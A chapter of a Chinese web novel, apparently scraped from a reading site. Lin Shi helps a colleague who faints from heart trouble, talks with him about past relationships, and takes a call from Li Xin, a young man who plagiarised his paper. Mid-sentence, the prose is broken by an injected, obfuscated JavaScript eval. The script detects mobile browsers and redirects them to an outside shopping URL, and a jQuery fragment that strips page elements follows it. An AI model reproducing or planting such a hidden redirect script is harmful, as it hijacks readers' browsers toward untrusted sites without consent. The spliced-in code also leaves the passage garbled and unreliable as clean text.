就在林时把人生拉硬拽放倒在地上,蹲在一边,发愁是先做人工呼吸还是先打120的时候,手腕一紧,他低头一瞧。
李通源悠悠转醒,一只手死死抓住他的手腕,勉强坐了起来。
两人相顾无言,林时立刻从茶几上把手机摸过来。
李通源盯着他道:“你做什么?”
“给你挂号,自己的身体自己不关注一下吗?”
“没有必要。”李通源不知道哪里来的力气,扑上来把手机抢走。
“?”林时拢了拢空空如也的手掌心,心说抢得真快啊。
“我留学的时候经常熬夜做模型,这里有点问题。”李通源犹豫片刻,指了指心脏的地方。
“心脏病复发,那你更得去医院看看了。”林时面色立刻严肃起来,他父亲是心外科的医生,也算耳濡目染,了解一些心脏病的常识。
“没那么严重,只是轻度的心肌缺血,很久没再犯了,最近TM事情多了点,又开始有点胸闷了。睡一觉就好。”
林时好心提醒:“心肌缺血晕过去还是挺严重的,你最好还是挂个号看一看。”
见李通源低头沉默不语,林时一秒get,这种当着别人的面晕倒的难堪,没有谁比他更懂。
眼前的男人还是当着一个职级比他低了不知道多少的人面前昏过去的。
林时换位思考了一下,丢人!太丢人了!简直丢人丢大发了!
于是他干笑两声,倒了一杯水过去:“你怎么不说话了?身体还不舒服么?”
李通源一只手接水,一只手扶着额头:“没有。”
林时立刻盘腿坐在他身边,给他讲起自己的事情:“我读博的时候比你还惨,在十几号同门面前晕过去了。哦,还是脸着地的哈哈。”
李通源正要喝水,闻言手一顿,眉头轻蹙,扭头瞧向他:“怎么会?”
林时被他的眼神流露出来的情绪震了一瞬,有些不好意思,比划道:“我那个时候失恋了,然后还发生了别的一些事情,患上了焦虑障碍,还在精神科住了三个月。”
李通源看了他很久,然后缓缓开口问道:“你消失了三个月,是因为去住院了?”
林时一愣,此时此刻,脑海里一闪而过他住院回家后满身疲惫地打开冰箱,莫名其妙地发现自己的饮料消失了一半的场景,答道:“嗯对。”
“林时。”
“嗯?”林时回过神来。
“把投影关一下,我的眼睛晃得有点疼。”
“好。”
两个人离开酒店的时候,已经是暮色四合。
“你心脏不舒服的话,晚上睡觉尽量右侧躺。对心脏好。”林时系上安全带,提醒他道。
李通源把车发动,点头:“嗯,医生也这么说。你对这些还挺懂的。”
林时说:“对,我爸是心外科的。你近期抽空去医院再检查一下吧?”
李通源点点头。
林时从车镜里扫了一眼李通源,心说:总感觉两个人的氛围都轻松了不少,是因为互相知道了点对方的秘密吗?
他和李通源的话都多起来了,虽然不至于聊得火热,毕竟李通源性格天生有些冷淡。
但是李通源对他基本上有问必答,答得也很诚恳,让人觉得很舒服,林时不知不觉跟他聊了一路。
聊到前任,李通源问道:“你现在还会想起她?”
林时手掌支着下巴,其实他已经很久没有想起过杨思了,但是他下意识地说了一句:“……偶尔还是会想起来的。”
李通源简短地沉默了一会儿:“如果她找你复合,你会答应吗?”
这个假设,曾经在林时的脑海里幻想过无数次。
有时候是杨思第二天突然找上门来,或许是她下一秒忽然来电,然后用她一向沉稳而愉悦的语气表达复合的决心。
但是过去六个多月里,杨思连一条短信也没有发给他过。
“她不会回头的。”
“如果呢?”
林时没吭声,按下车窗,让冷风吹在脸上:“你谈过几个?”
“两个。”
“你不会偶尔想起那两段无疾而终的感情,然后觉得遗憾吗?”
他偷偷斜着眼珠,打量李通源,只见那张本来就不苟言笑的脸绷得紧紧的,似乎触及了什么隐藏的心事。
空气戛然凝结了一瞬。林时简直可以听到自己的呼吸声。
李通源盯着路面,动了动嘴唇,欲往下讲,于是林时立刻喉咙一痒,腰板挺得笔直,一副洗耳恭听的样子。
一阵急促的手机铃声突然插进来,李通源看了眼手机,接起电话。
林时默默地听他与对方交谈起来,来电话的是TM的产品经理,好像有什么紧急需求要修改排期,但是又拿捏不准,向他请示。
“你的判断没有问题,就这么办吧。”李通源游刃有余地定夺道,“注意区分下美区用户和非美区用户版本,不要把任何美国元素放在非美区用户的版本中,现在全球反.美情绪比较严重,下个月运营那边还会持续买量,切分不干净容易出事故。”
光听他刚才一口气滔滔不绝说的一长串话,其实很难想象这是一个心肌缺血的人。
李通源挂断了电话,正要继续刚才的话题,林时的手机却又不合时宜地响了起来。
林时:“……”
李通源:“……”
聊个天怎么这么费劲呢!
林时接起电话:“喂。”
电话那边传来一阵青涩沙哑的年轻男声:“林哥。”
一听就知道是刚毕业没多久的学生,含羞带怯,不敢表达自己的情绪。
是黎辛。
昨天给他上完药以后,林时心情很复杂,这个小孩虽然打扮得光鲜亮丽,但看上去过得相当不容易,一时间有点不忍心跟他追究什么论文抄袭了。
林时本来打算事了拂衣去,但这个小孩又犟又单纯,拗着硬是要了林时的手机号,说明天发工资后要请他吃饭。
至于说为什么要等发了工资再请林时吃饭。
林时联想到了他在和傅春赴各种局时,无意间听到的一桩关于傅家的家族秘闻。
傅春的父亲傅新作,年轻时风流债一大堆,其中当属他担任利合总经理的时候,跟一个女下属搞婚外恋的风流事最为出格。一下子把女方搞大了肚子,生了个儿子,也是看在儿子的份儿上,分了女方数套房子、珠宝还有几百万现金。
二十年前的几百万。
傅新作本来想把儿子抱在身边自己养,但是拗不过傅春的母亲家族势力太大,只能暗暗送钱养着母子两个,前前后后送了上千万美金,对这个私生子的教育也颇为上心,又是国际学校又是出国留学,砸钱砸人脉。
但是女方不知道什么时候沾上了好赌的习惯,钱几乎全输了,输完了就找傅新作要。
傅新作不胜其扰,而且这个私生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894522|212813||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子似乎也不是块读书的料,脾气也软弱无能,更不是块管理公司的料,远不如正房一脉的傅春善钻营有手腕,傅新作也心灰意冷,两年前就跟母子俩断了来往。
那个女人却一路赌了下去,早年从傅新作手里捞到的房子车子珠宝首饰输了大半,还天天往澳门飞。
其实有小道消息说是傅春的母亲做局,把傅新作送给那女人的钱全都变相回收了。
想来,当时一圈公子哥夹着烟语气轻蔑地提到的那个女人,应该就是黎辛的母亲了。
黎辛上个月刚进了一个科技公司,还没发工资,手头紧巴巴的。
他妈恨他恨得要命,只恨不能打死他,把自己的不得意全算在儿子头上,以为全是因为他不争气,傅新作才不怎么关心她,又因为整日流连赌场,从精神和物质层面都没什么理由在金钱方面扶持黎辛。
是以虽然黎辛住在金碧辉煌的苏华,但是日子过得却风刀霜剑,简直就跟歌词里唱的小白菜地里黄两三岁没了娘有得一拼。
林时皱眉:“请什么请?我,经济独立的社会人,需要一个小孩子来请我的客?你饿不饿,我带你出去吃个饭。”
结果那天不仅没有钓到任何关于论文抄袭的有用信息,林时还搭进去一顿麦当劳,临走时他还带着这个小孩逛了圈超市,买了一堆蔬菜肉蛋,叮嘱他自己在家做饭吃。
林时也很凌乱,一时间不知道自己究竟是来寻仇的还是来做慈善的。
所谓圣母心,说的就是他了吧。
**
“哦,什么事?”林时瞧了眼开车的李通源,对电话里的黎辛问道。
“我微信加你了,你通过一下,我把昨天的钱转你。”
“不用了。”
“不行,林哥你赚钱也很辛苦。我不能白吃白拿。”
林时飞快地回道:“真不用了。”说着就要挂电话。
说实话,他现在对黎辛有一种如鲠在喉的感觉,按正常人的脑回路来说,在知道对方抄袭了自己的论文后,他本该毫不留情地向把对方举报到跪地求饶。
但是他实在没想到第一次见黎辛,就碰上对方被打得鼻血直流不敢还手的场面。
也没想到黎辛就是那群公子哥口中的笑料。
这就好比武侠小说里一个身负血海深仇的大侠寻仇上门,却发现灭他满门的仇人身中奇毒病入膏肓手脚皆断,身上溃烂得不成样子,一副如风中残烛没几天可活的光景,让他死了都算是解脱。
总之就是,心情非常复杂。
千言万语,汇成一句话,他不想再纠结那篇论文。
毕竟自己现在不在学术圈了,估计以后很少有人会拿那件事跟他说道。
但他同时也不希望以后跟黎辛再有什么瓜葛。
“林哥,我昨天没说谢谢你。谢谢你。咳咳咳……”
“你感冒了?”林时眼睛一眯,听出他声音里的不对劲。
“没,嗓子有点疼,最近天气干,上火了。”
“那你喝点败火的,金银花知道吗?去药店买点那个泡着喝一喝。”
“谢谢林哥。”
林时挂了电话,到底没加黎辛。因为总觉得没有那个必要。
李通源在一旁若有所思地问道:“朋友?”
林时胳膊肘支着车窗底,手掌撑额头,想了想说:“一个不熟的朋友的弟弟。”
刚才那个关于前任的话题,两个人都默契地没有再提起。